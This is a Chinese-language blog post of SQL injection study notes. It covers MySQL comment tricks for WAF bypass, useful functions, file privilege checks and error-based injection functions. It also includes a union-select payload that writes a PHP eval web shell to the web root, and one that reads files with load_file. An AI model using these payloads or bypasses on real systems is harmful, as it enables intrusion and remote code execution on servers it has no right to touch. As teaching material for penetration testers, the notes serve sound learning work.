SQL注入笔记
SQL注释
单行注释 #后面直接加内容
--后面必须加空格
多行注释 /**/中间可跨行
-- + 会删除
内联注释是:
MySQL数据库为了保持与其他数据库兼容,特意新添加的功能。 为了避免从MySQL中导出的SQL语句不能被其他数据库使用,它把一些 MySQL特有的语句放在 /*! ... */ 中,这些语句在不兼容的数据库中使用时便 不会执行。而MySQL自身却能识别、执行。 /*50001 */表示数据库版本>=5.00.01时中间的语句才会执行。 在SQL注入中,内联注释常用来绕过waf。
/*!12345user()*/
服务器端连接数据库所使用的用户。
mysql 能16进制识别
execute('sql语句') //execute函数中可以写
sql语句,且为字符串,那么就可以传入一些变形字符串来绕过waf
union select 1,2,3 只显示一个2 说明只用到了这个字段
SQL注入中一些常用的MySQL函数/语句:
user() 当前用户
database() 当前数据库
current_user() 当前用户名(用于查看权限)
version() 数据库的版本
@@datadir 数据库的路径
load_file() 读文件操作
into outfile() /into dumpfile 写文件操作
SQL注入读写文件的根本条件:
1. 数据库允许导入导出(secure_file_priv)
2. 当前用户用户文件操作权限(File_priv)
#查看数据库是否开启导入导出
show variables like "secure_file_priv";
#查看当前数据库用户
select current_user();
#查看当前用户是否具有文件读写权限
select File_priv from mysql.user where user='root' and host='localhost';
字符串连接函数
concat(str1,str2)函数 直接连接
group_concat(str1,str2)函数 使用逗号做为分隔符
concat_ws(sep,str1,str2)函数 使用第一个参数做为分隔符
基于报错的注入:
1.updatexml函数
2.xpath形式
15种报错函数:
floor() multipolygon()
updatexml() linestring()
extractvalue() ST_LatFromGeoHash()
exp() ST_LongFromGeoHash()
GeometryCollection() GTID_SUBSET()
polygon() GTID_SUBTRACT()
mutipoint() ST_PointFromGenHash()
multionlinestring()
sql注入读取文件:
写入文件。url')) union select 1,'2','<?php @eval($_POST[a]);?>' into outfile 'c:/www/2.php'%23
虽然提示错误,但还是写入进去了。
读取文件。url')) union select 1,2,load_file("C:/WWW/2.php") into outfile 'C:/WWW/3.php'%23
虽然提示错误,但还是可以读取。
file://c:/boot.ini
不会报错,但是页面不正常,可以判断是bool型注入
更多精彩内容:欢迎关注公众号和知识星球
专注实战/Bypass
![](https://files-cdn.cnblogs.com/files/pangya/公众号名片的副本.bmp?t=1653271768)
![](https://files-cdn.cnblogs.com/files/pangya/知识星球二维码.bmp?t=1653273228)